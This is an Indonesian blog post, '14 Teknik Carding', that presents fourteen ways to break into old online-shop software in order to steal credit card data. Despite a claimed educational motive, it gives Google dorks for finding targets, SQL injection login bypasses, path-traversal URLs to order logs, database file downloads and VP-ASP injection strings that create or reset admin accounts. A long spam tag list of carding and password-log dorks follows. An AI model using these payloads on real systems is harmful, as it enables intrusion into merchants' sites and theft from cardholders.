14 Teknik Carding

Kali ini saya memberikan 14 teknik carding…. Saya membuat artikel ini bukan dengan niat jahat tetapi dengan niat baik agar artikel ini dapat menjadi pembelajaran dalam memerangi masalah carding yang sudah mencoreng nama bangsa ini. Indonesia terkena black list country. Bukankah itu sangat memalukan, bukan ???

Oleh karena itu saya berharap semoga anda dapat memanfaat artikel ini demi kebaikan dan kemjuan security di Indonesia.

1. contoh bugs pada bentuk toko sistem shopadmin :
contoh toko akan muncul di search engine bila mengetikan beberapa keyword, seperti :
Ketik google.com :–> allinurl:/shopadmin.asp
Contoh target : www.xxxxxx.com/shopadmin.asp
Kelemahan sistem ini bila penjahat memasukan kode injection seperti :
user : ‘or’1
pass : ‘or’1

2. contoh bugs pada bentuk toko sistem : Index CGI
contoh toko akan muncul di search engine bila mengetikan beberapa keyword, seperti :
google.com : Ketik –> allinurl:/store/index.cgi/page=
Contoh target : www.xxxxxx.com/cgi-bin/store/index.cgi?page=short_blue.htm
Hapus short_blue.htm dan ganti dengan –> ../admin/files/order.log
Hasilnya:www.xxxxxxx.com/cgi-bin/store/index.cgi?page=../admin/files/order.log

3. contoh bugs pada bentuk toko sistem : metacart
contoh toko akan muncul di search engine bila mengetikan beberapa keyword, seperti :
google.com allinurl:/metacart/
Contoh target : www.xxxxxx.com/metacart/about.asp
Hapus moreinfo.asp dan ganti dengan –> /database/metacart.mdb
Hasilnya : /www.xxxxxx.com/metacart/database/metacart.mdb

4. contoh bugs pada bentuk toko sistem CShop
contoh toko akan muncul di search engine bila mengetikan beberapa keyword, seperti :
google.com : Ketik –> allinurl:/DCShop/
Contoh : www.xxxxxx.com/xxxx/DCShop/xxxx
Hapus /DCShop/xxxx dan ganti dengan –> /DCShop/orders/orders.txt atau /DCShop/Orders/orders.txt
Hasilnya : www.xxxx.com/xxxx/DCShop/orders/orders.txt

5. contoh bugs pada bentuk toko sistem : PDshopro
contoh toko akan muncul di search engine bila mengetikan beberapa keyword, seperti :
google.com : Ketik –> allinurl:/shop/category.asp/catid=
Contoh : www.xxxxx.com/shop/category.asp/catid=xxxxxx
Hapus /shop/category.asp/catid=xxxxx dang ganti dengan –> /admin/dbsetup.asp
Hasilnya : www.xxxxxx.com/admin/dbsetup.asp
Dari keterangan diatas , kita dapati file databasenya dgn nama sdatapdshoppro.mdb
Download file sdatapdshoppro.mdb dengan merubah url nya menjadi www.xxxxxx.com/data/pdshoppro.mdb
Buka file tsb pakai Microsoft Acces (karena untuk membaca database access.mdb sebaiknya pake ms access aja)

6. contoh bugs pada bentuk toko sistem : commerceSQL
contoh toko akan muncul di search engine bila mengetikan beberapa keyword, seperti :
google : Ketik –> allinurl:/commercesql/
Contoh : www.xxxxx.com/commercesql/xxxxx
Hapus commercesql/xxxxx dan ganti dengan –>
cgi-bin/commercesql/index.cgi?page=
Hasilnya : www.xxxxxx.com/cgi-bin/commercesql/index.cgi?page=
Untuk melihat admin config –>
www.xxxxxx.com/cgi-bin/commercesql/index.cgi?page=../admin/admin_conf.pl
Untuk melihat admin manager –>
www.xxxxxx.com/cgi-bin/commercesql/index.cgi?page=../admin/manager.cgi
Untuk melihat file log/CCnya –>
www.xxxxx.com/cgi-bin/commercesql/index.cgi?page=../admin/files/order.log

7. contoh bugs pada bentuk toko sistem : EShop
contoh toko akan muncul di search engine bila mengetikan beberapa keyword, seperti :
google: Ketik –> allinurl:/eshop/
Contoh : www.xxxxx.com/xxxxx/eshop
Hapus /eshop dan ganti dengan –> /cg-bin/eshop/database/order.mdb
Hasilnya : www.xxxxxx.com/…/cg-bin/eshop/database/order.mdb
Download file *.mdb nya dan Buka file tsb pakai Microsoft Acces (karena untuk membaca database access.mdb sebaiknya pake ms access aja)

8. contoh bugs pada bentuk toko sistem : Cart32 v3.5a
contoh toko akan muncul di search engine bila mengetikan beberapa keyword, seperti :
google.com: Ketik –> allinurl:/cart32.exe/
Contoh : www.xxxxxx.net/wrburns_s/cgi-bin/cart32.exe/NoItemFound
Ganti NoItemFound dengan –> error
Bila kita mendapati page error dg keterangan instalasi dibawahnya, berarti kita sukses!
Sekarang, kita menuju pada keterangan di bawahnya, geser halaman kebawah, dan cari bagian Page Setup and Directory
Kalau dibagian tersebut terdapat list file dgn format/akhiran .c32 berarti di site tsb. terdapat file berisi data cc
Copy salah satu file .c32 yg ada atau semuanya ke notepad atau program text editor lainnya.
Ganti string url tsb. menjadi seperti ini : http://www.xxxxxx.net/wrburns_s/cgi-bin/cart32/
Nah.., paste satu per satu, file .c32 ke akhir url yg sudah dimodifikasi tadi, dengan format

http://www.xxxxx.com/cart32/

Contoh http://www.xxxxxxx.net/wrburns_s/cgi-bin/cart32/WRBURNS-001065.c32

9. contoh bugs pada bentuk toko sistem : VP-ASP Shopping Cart 5.0 teknik/jalan ke dua
google.com Ketik –> allinurl:/vpasp/shopdisplayproducts.asp
Buka url target dan tambahkan string berikut di akhir bagian shopdisplayproducts.asp
Contoh :

http://xxxxxxx.com/vpasp/shopdisplayproducts.asp?cat=qwerty’%20union%20select%20fldauto,

fldpassword%20from%20tbluser%20where%20fldusername=
‘admin’%20and%20fldpassword%20like%20′a%25′–
Gantilah nilai dari string url terakhir dg:
%20′a%25′–
%20′b%25′–
%20′c%25′–
Kalau berhasil, kita akan mendapatkan informasi username dan password admin
Untuk login admin ke http://xxxx.com/vpasp/shopadmin.asp
silahkan Cari sendiri data CCnya

10. contoh bugs pada bentuk toko sistem : VP-ASP Shopping Cart 5.0
contoh toko akan muncul di search engine bila mengetikan beberapa keyword, seperti :
google.com : Ketik –> allinurl:/vpasp/shopsearch.asp

Buka url target dan utk membuat admin baru, postingkan data berikut satu per satu pada bagian search engine :
Keyword=&category=5); insert into tbluser (fldusername) values
(”)–&SubCategory=&hide=&action.x=46&action.y=6
Keyword=&category=5); update tbluser set fldpassword=” where
fldusername=”–&SubCategory=All&action.x=33&action.y=6
Keyword=&category=3); update tbluser set fldaccess=’1′ where
fldusername=”–&SubCategory=All&action.x=33&action.y=6
Jangan lupa untuk mengganti dan nya terserah kamu.
Untuk mengganti password admin, masukkan keyword berikut :
Keyword=&category=5); update tbluser set fldpassword=” where
fldusername=’admin’–&SubCategory=All&action.x=33&action.y=6

Untuk login admin, ada di http://xxxxxxx/vpasp/shopadmin.asp

11. contoh bugs pada bentuk toko sistem : Lobby.asp
contoh toko akan muncul di search engine bila mengetikan beberapa keyword, seperti :
google.com Ketik –> allinurl: Lobby.asp
Contoh : www.xxxxx.com/mall/lobby.asp
Hapus tulisan mall/lobby.asp dan ganti dengan –> fpdb/shop.mdb
Hasilnya : www.xxxxx.com/fpdb/shop.mdb

12. contoh bugs pada bentuk toko sistem : Shopper.cgi
contoh toko akan muncul di search engine bila mengetikan beberapa keyword, seperti :
google : Ketik –> allinurl: /cgi-local/shopper.cgi
Contoh : www.xxxxxx.com/cgi-local/shopper.cgi/?preadd=action&key=
Tambah dengan –> …&template=order.log
Hasilnya : www.xxxxxxxx.com/cgi-local/shopper.cgi?preadd=action&key=…&template=order.log

13. contoh bugs pada bentuk toko sistem roddetail.asp
contoh toko akan muncul di search engine bila mengetikan beberapa keyword, seperti :
Ketik –> allinurl:proddetail.asp?prod=
Contoh : www.xxxxx.org/proddetail.asp?prod=ACSASledRaffle
Hapus tulisan proddtail.asp?prod=SG369 dan ganti dengan –> fpdb/vsproducts.mdb
Hasilnya : www.xxxxxx.org/fpdb/vsproducts.mdb

14. contoh bugs pada bentuk toko sistem igishop
contoh toko akan muncul di search engine bila mengetikan beberapa keyword, seperti :
google Ketik –> inurl:”/cart.php?m=”
Contoh : http://xxxxxxx.com/store/cart.php?m=view.
Hapus tulisan cart.php?m=view dan ganti dengan –>admin
Hasilnya http://xxxxxx.com/store/admin
Trus masukin username sama pass nya pake statment SQL injection

Usename : ‘or”=”
Password : ‘or”=”

Related Things With This Article

teknik carding, tehnik carding, shopadmin asp, inurl:/register php intext:powered by pligg lunched, allinurl shopadmin asp, jasa carding, avc inurl:/write asp, carding 2010, carding 2011, carding, allinurl:shopadmin asp, inurl:/index php powered by vbulletin toronto window coverings, tekhnik carding, inurl:/lost asp?action= replica, teknik carding terbaru, inurl:/member php?action= travel agency china, inurl:/member php?action= fixed wing aircraft, intitle:forum intext:active forums food test kitchen, st inurl:/index php?name=account, falls inurl:/index php?name=account, cell phone prices inurl:/submit html, intitle:forum intext:active forums westminster college pennsylvania, carding shop, inurl:/register php?s= four warehouse nationwide, intitle:forum intext:register frank miller books batman, inurl:, bugs carding, inurl:/bbs/register php?s= opportunity seeking mailing list, maim inurl:/board cgi?mode=, inurl:/member php?action= israeli tank weapon, inurl:/index php?action=stats sans internet survival time, cara hack shop admin, inurl:/write asp agrosteral, teknik carder, peterson inurl:/gallery htm, inurl:/portal php improve your writing with these editing tips step case, attach inurl:/add php, /shopadmin asp, intitle:forum intext:member list under wraps dvd, 37 inurl:/index php?do=search, inurl:/index php examples of apa style writing, inurl:/posting php?mode= interracial babies, teknik carding 2010, james harrison jersey inurl:/m_view php?ps, inurl:/index php?action=stats usc ucla football game 2010, index php?name=account\ 8 ñêà÷àòü, inurl:/index php?action=stats us bank home mortgage, tehnik carding 2010, intitle:forum intext:active forums small business web hosting, inurl:/index php?action=stats best tattoo quotes

No related posts.

Related posts brought to you by Yet Another Related Posts Plugin.

Tags: "cardable shop" 2011, "facebook" intext:"password" intext:"email" inurl:"logs.txt", "password" ], "index of shopping.mdb", "index of" paypal.log, "inurl":log.txt, "inurl:admin.asp" 'shop administrator only*, "inurl:shopadmin.asp" "shop administrators only", "pdshoppro" hack, "shop.asp" "shop administrator only", "store/cart.php?m=view", -inurl:htm -inurl:html -inurl:asp intitle:”index of” contoh virus, -inurl:htm -inurl:html -inurl:asp intitle:”index of” pdf paypal hack, -inurl:htm -inurl:html -inurl:asp intitle:”index of” pdf paypal hacking, //"/shop/"// intitle:admin page, /cgi-bin/store/index.cgi?page, /fpdb/shop.mdb, /shop/category.asp/catid=, /shopadmin.asp indonesia, /shopping.mdb 2011, /store/index.cgi/page=, 14 teknik carding, 60b5203772f0c86238e98362bf6200db, 91872#91872, : http://www.ebay.com/cgibin/store/index.cgi?page=../admin/files/order.log ,, ?index of/admin.txt, ?intitle:index.of? shopadmin.asp, ?intitle:index.of? shopadmin.asp data, ?intitle:index.of? shopping.mdb, ?intitle:index.of? txt password email, ?intitle:index.of?carding .txt, ?intitle:index.of?carding txt 2011, ?intitle:index.of?order.log 2011, Akan, alinurl: *.com/administrator/, allintitle: “index of/admin”, allinur"carding", allinur/shop/admin.php, allinurl, allinurl admin mdb inurl:.ke, allinurl shop category.asp catid shopping 2011, allinurl shopadmin.asp, allinurl/paypal, allinurl: mall/lobby.htm, allinurl: shop, allinurl: teknik paypal, allinurl:"/dcshop/", allinurl:.com/ admin.asp, allinurl:.com/ admin.asp malaysia, allinurl:/"shopadmin.asp" "shop administrators only", allinurl:/../dcshop/, allinurl:/cart32.exe/, allinurl:/metacart/, allinurl:/shop/category.asp/catid=, allinurl:/shopadmin.asp, allinurl:/shopadmin.asp indonesia, allinurl:/shopping.mdb, allinurl:/store/index.cgi/page=, allinurl:facebook txt, allinurl:pdshoppro.mdb, allinurl:proddetail.asp?prod=, allinurs : facebook.txt, apa itu jasa carding, apa itu tekhnik carding, apa itu teknik carding, artikel carding, artur, Asp, baller, belajar carding 2011, belajar carding tutorial 2011, belajar teknik carding, bikin cart php, bikin shopping cart php, bisoprolol fumarate, blacklist carder, blacklist hacking carding, blogs/viewstory/100736, blogs/viewstory/113145, blogs/viewstory/121054, blogs/viewstory/127277, blogs/viewstory/1347, blogs/viewstory/137892, blogs/viewstory/21752, blogs/viewstory/25401, blogs/viewstory/44946, blogs/viewstory/49997, blogs/viewstory/54268, blogs/viewstory/79979, blogs/viewstory/82447, blogs/viewstory/82497, blogs/viewstory/83622, bobol shopadmin, bug carder 2011, bug carding, bug carding terbaru, bug exploit shop online, bug shop admin, bug terbaru proddetail.asp, buging carding, Bugs, bugs carder 2011, bugs carding, bugs carding 2011, bugs terbaru shop online 2011, buka password ms access, cache:alvienrizki.com/tag/cardable-site-2011, cache:hiojeiga5mwj:www.enghiong.com/docs/shopadmin asp order by 10 shopadmin.asp bug, cache:umwq4noe19gj:alvienrizki.com/tag/cardable-site-2011 "cardable site", cara cara carding metacart, cara carder paypal, cara carding, cara carding 2010, cara carding 2011, cara carding bobol admin, cara carding lewat cgi-bin, cara carding online shop, cara carding shopadmin, cara dapat username dan password shopadmin dengan mudah, cara hack admin shop online, cara hack password dan username shopadmin, cara hack pdshoppro, cara hack shop admin, cara hack shop admin 2011, cara hack shop admin terbaru 2011, cara hack shop pdshoppro, cara hack shopadmin, cara hack shopadmin.asp terbaru, cara injeck shop admin, cara injek sistem shopadmin, cara melihat password login shopadmin, cara membuka shop admin, cara mudah membuka folder yang di password index of hack, cara rubah password admin.php, cara teknik carding, cara tutorial carding 2011, cara ubah mdb ke sql, cardable 2011, cardable carding, cardable email pass list, cardable email password, cardable shop site, cardable site, cardable site 2010, cardable site 2011, cardable store, cardable website, carder paypal 2011, carder teknik, Carding, carding /allinurl:/, carding /data/ .mdb, carding 2010, carding 2011, carding asp, carding bugs, carding dengan paypal, carding ms acces password, carding paypal, carding paypal 2011, carding paypal terbaru, carding pdf, carding sederhan, carding shop, carding shop online, carding site, carding sql, carding tehnik, carding tekhnik, carding teknik, carding teknik baru, carding teknik lama, carding tutorial, carding tutorial 2010, carding tutorial 2011, carding tutorial 2011 fix, carding tutorial unrestricted 2011, carding, bug 2011, carding-in database 2010, cardingsite, cart32.exe v3, Cgi Bin, Cgi Files, Cgi Search, cgi-bin/store/index.cgi?page=shop_online.htm, chicago news gangs, chronic thyroiditis, cleraton, coloscopy, d943bc9d0afbb89fb486d3055ea39dcb, dasar carding, dasar dasar carding, data/pdshoppro.mdb, dbsetup.asp, dc shop di indonesia, dc shop indonesia, Dcshop, deutboo07r, Di Indonesia, dicomal dm, diploid blossom, doing business in germany, ear drops, easy carding tutorial 2011, ec naprosyn, electronic book devices, exploit pada web shop online, exploits carding 2011, ff, forum hack carding2011, four warehouse nationwide, fusospirochetal, Google, guestbook, h : http://xxxxxxx.com/vpasp/shopdisplayproducts.asp?cat=qwerty' union%...,, hack admin pdshop, hack carding dengan sql injection, hack mdb shopadmin cart 2011, hack paypal indonesia 2011, hack pdshop, hack pdshop pro, hack pdshoppro, hack shop admin tutorial, hack shopadmin, hack shopadmin 2011, hack shopadmin.asp, hack shopping cart 2011, Hacking, hacking by pdshop, hacking pdshoppro, hacking shopadmin 2011, how to hack online store admin 2011, how to hack shop admin (.asp)?, how to inject shopadmin, hypopituitarism, index carding 2011, index of / paypal password, index of admin paypal, index of carding, index of root/comic download, index of/admin paypal log.txt, index of/carding, index/admin.asp, indexof:log 2011, indigestion, inject shop admin 2011, injection sql tutorial, injek shop, injek shopadmin.asp, injeksi carding d.cgi, injext vpasp 2011, instacort scalp, intext:"password" intext:"email" inurl:"logs.txt", intext:"password" inurl:"logs.txt", intitle index carding , intitle index of email and password inurl:paypal, intitle index of log.txt, intitle: vp-asp shopping, intitle:"index of" admin.asp, intitle:"index of" log.txt 2011, intitle:"index of" paypal, intitle:"index of" plr article, intitle:"index of" plr prosesor, intitle:"index of"prohacking script, intitle:"index of? paypal log, intitle:"index.of.paypal" /password, intitle:index.of email password mdb, intitle:”index of” shopping.mdb, inurl .sql paypal balance username, inurl : "shopadmin.asp" "shop administrators only shopkami, inurl : *paypal*.txt, inurl :shopadmin.html, inurl shopadmin.asp, inurl shopadmin.asp shop administrator only, inurl: admin paypal logs.txt, inurl:"admin.asp" "shopadmin.asp", inurl:"index of" /shop/admin/, inurl:"paypal.log", inurl:"shopadmin.asp" "shop administrator only", inurl:"shopadmin.asp" "shop administrator", inurl:"shopadmin.asp" "shop administrators only pass, inurl:'shopadmin.asp''shop administrators only'', inurl:.com cardeing, inurl:.php?shopadmin=", inurl:/metacart/, inurl:email/pass, inurl:log.txt email: password: address:, inurl:paypal.txt, inurl:shopadmin.asp, inurl:shopping.mdb, inurl:”shopadmin.asp”, inurl:”shopadmin.asp” “shop administrators only”, inurlindexof: account facebook.txt, inurll: carding, Jahat, jasa carding, jasa carding kaskus, jasa carding sepatu, jasa carding yanto, jasa dropper carder, jasa dropper carding, jasa dropship carding, jasa pengiriman carding, jasacarding penipu, jasacarding.wetpaint, jebol asp, jebol password .mdb, jenis teknik carding, Kali, kennel, Keyword, lan, list web "carding", list website carding, macam bugs sql 2010, macam2 bug carding, malaysia cardable shop, manga studio, mdb carding, Metacart, metode carding with sql injection, metode para carder, nail polish, Nama, new bug carding, new bugs carding, new hack shopadmin, new shopadmin bug, newworld, nicoderm, nofollow#sclient=psy-ab, Nya, opportunity seeking mailing list, otitis media, panduan carding, panduan carding lengkap 2011, panduan hack username dan password website, password pdshoppro.mdb, paypal allinurl:/shop/category.asp/catid=, paypal carding tutorial 2011, paypal.mdb, pdshoppro 2011 tutorial, pdshoppro bugs, pdshoppro carding, pdshoppro.mdb, pdshoppro.mdb hack, phising jasacarding.wetpaint.com, present simple forms, procamide, prodetail.asp exploit, promiskuitet, pseudomonic acid, real simple forms, rotations, rubah mdb ke sql, Sangat, satu klik dibayar, Saya, script hack website pdshoppro, Search Engine, sebex, seckel syndrome, shop admin 2011 password, shop admin exploit 2011, shop admin list 2011, shop carding, shop carding dork, shop intitle:"index of" order.log, shop site bug, shopadmin carding 2011, shopadmin hack 2011, shopadmin inject, shopadmin.asp, shopadmin.asp 2011, shopadmin.asp bug, shopkami admin log-in, shopkami.comadmin asp, shopping cart bugs exploit 2011, shopping cart exploit, site:.com log.txt kaskus, password, sql carding, sql carding bug 2010, sql injection shopadmin.asp, sticker books collecting, Store Index, store indonesia dc, syntax:allinurl:/shopadmin.asp, Target, tehknik carding, tehn ik karding, tehnik cardding, tehnik cardeing, tehnik carding, tehnik carding dan hacking, tehnik carding paypal, tehnik cardiong, tehnik dasar carding, tehnik karding, tehnik-tehnik carding, tehnk carding, tekhnik carding, tekhnik carding 2011, tekhnik carding pdf, tekhnik dasar carding, tekhnil carding, tekinik carding, teknik cading, teknik cardeing, teknik carder, teknik carder 2011, teknik cardiing, teknik carding, teknik carding 2010, teknik carding 2011, teknik carding 2012, teknik carding mudah, teknik carding n hacking, teknik carding paypal, teknik carding terbaru, teknik carding yang ampuh, teknik cardink, teknik cardng sql inject 2011, teknik crading, teknik dasar carding, teknik dasar hacking#pq=teknik dasar hacking, teknik exploit, teknik jebol asp, teknik para carder, teknik shopping cart dengan php, teknik sql injection terbaru 2011, teknikal carding, teknisi carding, telnik carding, terima jasa carding, the newest carding tutorial 2011, theknik carding, tips carder paypal, tips carding 2011, tips carding buat bug pdshop pro, Toko, toko online admin.asp, toko online cardingan 2011 terbaru, toko yang gampang di carding, tutor carding 2011, tutor carding paypal, tutorial carder2011, tutorial carding, tutorial carding 2010, tutorial carding 2011, tutorial carding 2011 dengan havij, tutorial carding 2011 fresh, tutorial carding cc 2011, tutorial carding dan inject, tutorial carding di ebay, tutorial carding paypal, tutorial carding september 2011, tutorial carding syntax 2011, tutorial carding teknik sql injection, tutorial hacking shopping cart 2011, tutorial jebol shopping cart, tutorial sql carding, url :"shopadmin.asp" "shop administrator only", vp-asp shop administrators only, webshop hacker 2010, wire arts and crafts, write dork for carding, www. xxxxx com, www.abay.com/shopadmin.asp, www.ebay.com/shopadmin.asp, www.injeksistem.com.br, www.xxxxxx.com, Xxxx, Xxxxxx, “allinurl: /shopadmin.asp”